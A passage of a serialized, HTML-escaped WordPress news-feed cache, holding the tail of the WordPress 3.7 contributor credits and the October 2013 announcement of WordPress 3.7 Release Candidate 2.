href=\&quot;http://profiles.wordpress.org/bpetty\&quot;&gt;Bryan Petty&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/carldanley\&quot;&gt;Carl Danley&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/charlesclarkson\&quot;&gt;CharlesClarkson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chipbennett\&quot;&gt;Chip Bennett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chouby\&quot;&gt;Chouby&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/c3mdigital\&quot;&gt;Chris Olbekson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/chrisrudzki\&quot;&gt;Chris Rudzki&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/aeg0125\&quot;&gt;coderaaron&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/coenjacobs\&quot;&gt;Coen Jacobs&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/crrobi01\&quot;&gt;Colin Robinson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/andreasnrb\&quot;&gt;cyonite&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/daankortenbach\&quot;&gt;Daan Kortenbach&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/danielbachhuber\&quot;&gt;Daniel Bachhuber&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/convissor\&quot;&gt;Daniel Convissor&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dartiss\&quot;&gt;dartiss&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/koop\&quot;&gt;Daryl Koopersmith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/csixty4\&quot;&gt;Dave Ross&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/davidjlaietta\&quot;&gt;David Laietta&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dd32\&quot;&gt;Dion Hulse&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dllh\&quot;&gt;dllh&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ocean90\&quot;&gt;Dominik Schilling (ocean90)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dpash\&quot;&gt;dpash&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/drewapicture\&quot;&gt;Drew Jaynes&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/drprotocols\&quot;&gt;DrProtocols&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dustyf\&quot;&gt;Dustin Filippini&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dzver\&quot;&gt;dzver&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cais\&quot;&gt;Edward Caissie&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/enej\&quot;&gt;enej&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ericlewis\&quot;&gt;Eric Andrew Lewis&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ericmann\&quot;&gt;Eric Mann&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/evansolomon\&quot;&gt;Evan Solomon&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/faishal\&quot;&gt;faishal&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/faison\&quot;&gt;Faison&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/foofy\&quot;&gt;Foofy&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/fjarrett\&quot;&gt;Frankie Jarrett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/frank-klein\&quot;&gt;Frank Klein&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/garyc40\&quot;&gt;Gary Cao&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pento\&quot;&gt;Gary Pendergast&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gayadesign\&quot;&gt;Gaya Kessler&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/georgestephanis\&quot;&gt;George Stephanis&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gizburdt\&quot;&gt;Gizburdt&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/goldenapples\&quot;&gt;goldenapples&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gradyetc\&quot;&gt;gradyetc&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/gcorne\&quot;&gt;Gregory Cornelius&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/webord\&quot;&gt;Gustavo Bordoni&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hakre\&quot;&gt;hakre&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/helen\&quot;&gt;Helen Hou-Sandi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/iandunn\&quot;&gt;Ian Dunn&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ipstenu\&quot;&gt;Ipstenu (Mika Epstein)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/creativeinfusion\&quot;&gt;itinerant&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jdgrimes\&quot;&gt;J.D. Grimes&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jakubtyrcha\&quot;&gt;jakub.tyrcha&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jamescollins\&quot;&gt;James Collins&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jenmylo\&quot;&gt;Jen Mylo&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/buffler\&quot;&gt;Jeremy Buller&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jeremyfelt\&quot;&gt;Jeremy Felt&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jayjdk\&quot;&gt;Jesper Johansen (jayjdk)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/joehoyle\&quot;&gt;Joe Hoyle&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jkudish\&quot;&gt;Joey Kudish&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnnyb\&quot;&gt;John Beales&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnbillion\&quot;&gt;John Blackbourn (johnbillion)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnafish\&quot;&gt;John Fish&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnjamesjacoby\&quot;&gt;John James Jacoby&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/johnpbloch\&quot;&gt;John P. Bloch&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jond3r\&quot;&gt;Jonas Bolinder (jond3r)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jchristopher\&quot;&gt;Jonathan Christopher&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/desrosj\&quot;&gt;Jonathan Desrosiers&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/duck_\&quot;&gt;Jon Cave&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/jonlynch\&quot;&gt;Jon Lynch&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/joostdevalk\&quot;&gt;Joost de Valk&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/josephscott\&quot;&gt;Joseph Scott&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/betzster\&quot;&gt;Josh Betz&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/devesine\&quot;&gt;Justin de Vesine&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/justinsainton\&quot;&gt;Justin Sainton&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kadamwhite\&quot;&gt;K.Adam White&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/trepmal\&quot;&gt;Kailey (trepmal)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ketwaroo\&quot;&gt;Ketwaroo&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kevinb\&quot;&gt;kevinB&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kpdesign\&quot;&gt;Kim Parsell&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kitchin\&quot;&gt;kitchin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kovshenin\&quot;&gt;Konstantin Kovshenin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/obenland\&quot;&gt;Konstantin Obenland&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/koopersmith\&quot;&gt;koopersmith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/kurtpayne\&quot;&gt;Kurt Payne&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lancewillett\&quot;&gt;Lance Willett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/leewillis77\&quot;&gt;Lee Willis (leewillis77)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lessbloat\&quot;&gt;lessbloat&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/layotte\&quot;&gt;Lew Ayotte&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/lgedeon\&quot;&gt;Luke Gedeon&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/iworks\&quot;&gt;Marcin Pietrzak&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/cimmo\&quot;&gt;Marco Cimmino&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/marco_teethgrinder\&quot;&gt;Marco Galasso&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markjaquith\&quot;&gt;Mark Jaquith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markmcwilliams\&quot;&gt;Mark McWilliams&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/markoheijnen\&quot;&gt;Marko Heijnen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/melchoyce\&quot;&gt;Mel Choyce&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tw2113\&quot;&gt;Michael Beckwith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mikehansenme\&quot;&gt;Mike Hansen&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mikeschinkel\&quot;&gt;Mike Schinkel&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dh-shredder\&quot;&gt;Mike Schroder&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/dimadin\&quot;&gt;Milan Dinic&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mitchoyoshitaka\&quot;&gt;mitcho (Michael Yoshitaka Erlewine)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/usermrpapa\&quot;&gt;Mr Papa&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/Nao\&quot;&gt;Naoko Takano&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/naomicbush\&quot;&gt;Naomi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/alex-ye\&quot;&gt;Nashwan Doaqan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/natejacobs\&quot;&gt;NateJacobs&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nathanrice\&quot;&gt;nathanrice&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/niallkennedy\&quot;&gt;Niall Kennedy&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nickdaugherty\&quot;&gt;Nick Daugherty&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/celloexpressions\&quot;&gt;Nick Halsey&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nickmomrik\&quot;&gt;Nick Momrik&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nikv\&quot;&gt;Nikhil Vimal (NikV)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nbachiyski\&quot;&gt;Nikolay Bachiyski&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/noahsilverstein\&quot;&gt;noahsilverstein&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nofearinc\&quot;&gt;nofearinc&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nukaga\&quot;&gt;nukaga&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/nullvariable\&quot;&gt;nullvariable&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/butuzov\&quot;&gt;Oleg Butuzov&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/paolal\&quot;&gt;Paolo Belcastro&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/xparham\&quot;&gt;Parham&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pbiron\&quot;&gt;Paul Biron&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pauldewouters\&quot;&gt;Paul de Wouters&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pavelevap\&quot;&gt;pavelevap&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/peterjaap\&quot;&gt;peterjaap&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/westi\&quot;&gt;Peter Westwood&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/philiparthurmoore\&quot;&gt;Philip Arthur Moore&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/mordauk\&quot;&gt;Pippin Williamson&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/plocha\&quot;&gt;plocha&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pollett\&quot;&gt;Pollett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ptahdunbar\&quot;&gt;Ptah Dunbar&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ramiy\&quot;&gt;Rami Yushuvaev&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rasheed\&quot;&gt;Rasheed Bydousi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/raybernard\&quot;&gt;RayBernard&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rboren\&quot;&gt;rboren&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/greuben\&quot;&gt;Reuben Gunday&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rfair404\&quot;&gt;rfair404&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/iamfriendly\&quot;&gt;Richard Tape&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/r3df\&quot;&gt;Rick Radko&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/miqrogroove\&quot;&gt;Robert Chapin&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rdall\&quot;&gt;Robert Dall&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rodrigosprimo\&quot;&gt;Rodrigo Primo&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wpmuguru\&quot;&gt;Ron Rennick&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rpattillo\&quot;&gt;rpattillo&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/ryan\&quot;&gt;Ryan Boren&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/rmccue\&quot;&gt;Ryan McCue&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/hotchkissconsulting\&quot;&gt;Sam Hotchkiss&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/coffee2code\&quot;&gt;Scott Reilly&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/scottsweb\&quot;&gt;scottsweb&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wonderboymusic\&quot;&gt;Scott Taylor&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/scribu\&quot;&gt;scribu&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/scruffian\&quot;&gt;scruffian&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tenpura\&quot;&gt;Seisuke Kuraishi (tenpura)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sergeybiryukov\&quot;&gt;Sergey Biryukov&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/shinichin\&quot;&gt;ShinichiN&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/pross\&quot;&gt;Simon Prosser&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/simonwheatley\&quot;&gt;Simon Wheatley&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/siobhan\&quot;&gt;Siobhan&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/siobhyb\&quot;&gt;Siobhan Bamber (siobhyb)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sirzooro\&quot;&gt;sirzooro&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/solarissmoke\&quot;&gt;solarissmoke&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sillybean\&quot;&gt;Stephanie Leary&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/netweb\&quot;&gt;Stephen Edgar (@netweb)&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/stephenharris\&quot;&gt;Stephen Harris&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/strangerstudios\&quot;&gt;strangerstudios&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sweetie089\&quot;&gt;sweetie089&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/swissspidy\&quot;&gt;swissspidy&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/miyauchi\&quot;&gt;Takayuki Miyauchi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tmtoy\&quot;&gt;Takuma Morikawa&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tlovett1\&quot;&gt;Taylor Lovett&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tivnet\&quot;&gt;tivnet&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tobiasbg\&quot;&gt;TobiasBg&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/tomauger\&quot;&gt;Tom Auger&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/toscho\&quot;&gt;toscho&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wpsmith\&quot;&gt;Travis Smith&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/sorich87\&quot;&gt;Ulrich Sossou&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/vericgar\&quot;&gt;vericgar&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/vinod-dalvi\&quot;&gt;Vinod Dalvi&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/westonruter\&quot;&gt;Weston Ruter&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wikicms\&quot;&gt;wikicms&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/willnorris\&quot;&gt;Will Norris&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wojtekszkutnik\&quot;&gt;Wojtek Szkutnik&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/wycks\&quot;&gt;wycks&lt;/a&gt;, &lt;a href=\&quot;http://profiles.wordpress.org/yoavf\&quot;&gt;Yoav Farhi&lt;/a&gt;, and &lt;a href=\&quot;http://profiles.wordpress.org/yurivictor\&quot;&gt;Yuri Victor&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Enjoy what may be one of your last few manual updates. See you soon for version 3.8!&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;http://wordpress.org/news/2013/10/basie/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:5:{s:0:\&quot;\&quot;;a:7:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;WordPress 3.7 Release Candidate 2\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate-2/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:77:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate-2/#comments\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 23 Oct 2013 00:05:30 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;category\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;Development\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:8:\&quot;Releases\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:33:\&quot;http://wordpress.org/news/?p=2729\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:417:\&quot;The second release candidate of WordPress 3.7 is now available for testing! Those of you already testing WordPress 3.7 will be updated automatically to RC2. (Nice.) If you&amp;#8217;d like to start testing, there&amp;#8217;s no time like the present! Try the WordPress Beta Tester plugin (you’ll want “bleeding edge nightlies”) or download the release candidate here (zip). Please post to the Alpha/Beta [&amp;#8230;]\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;Andrew Nacin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1183:\&quot;&lt;p&gt;The second release candidate of WordPress 3.7 is now available for testing!&lt;/p&gt;\n&lt;p&gt;Those of you already testing WordPress 3.7 will be updated automatically to RC2. (&lt;em&gt;Nice.&lt;/em&gt;) If you&amp;#8217;d like to start testing, there&amp;#8217;s no time like the present! Try the &lt;a href=\&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/\&quot;&gt;WordPress Beta Tester&lt;/a&gt; plugin (you’ll want “bleeding edge nightlies”) or &lt;a href=\&quot;http://wordpress.org/wordpress-3.7-RC2.zip\&quot;&gt;download the release candidate here&lt;/a&gt; (zip). Please post to the &lt;a href=\&quot;http://wordpress.org/support/forum/alphabeta/\&quot;&gt;Alpha/Beta area in the support forums&lt;/a&gt; if you think you&amp;#8217;ve found a bug, and if any known issues are raised, you’ll be able to &lt;a href=\&quot;http://core.trac.wordpress.org/report/5\&quot;&gt;find them here&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Developers, please test your plugins and themes against WordPress 3.7. If there is a compatibility issue, let us know as soon as possible so we can deal with it before the final release.&lt;/p&gt;\n&lt;p&gt;For more on WordPress 3.7, check out the &lt;a href=\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate/\&quot;&gt;announcement post for Release Candidate 1&lt;/a&gt;.&lt;/p&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:36:\&quot;http://wellformedweb.org/CommentAPI/\&quot;;a:1:{s:10:\&quot;commentRss\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;http://wordpress.org/news/2013/10/wordpress-3-7-release-candidate-2/feed/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:38:\&quot;http://purl.org/rss/1.0/modules/slash/\&quot;;a:1:{s:8:\&quot;comments\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:45:\&quot;\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		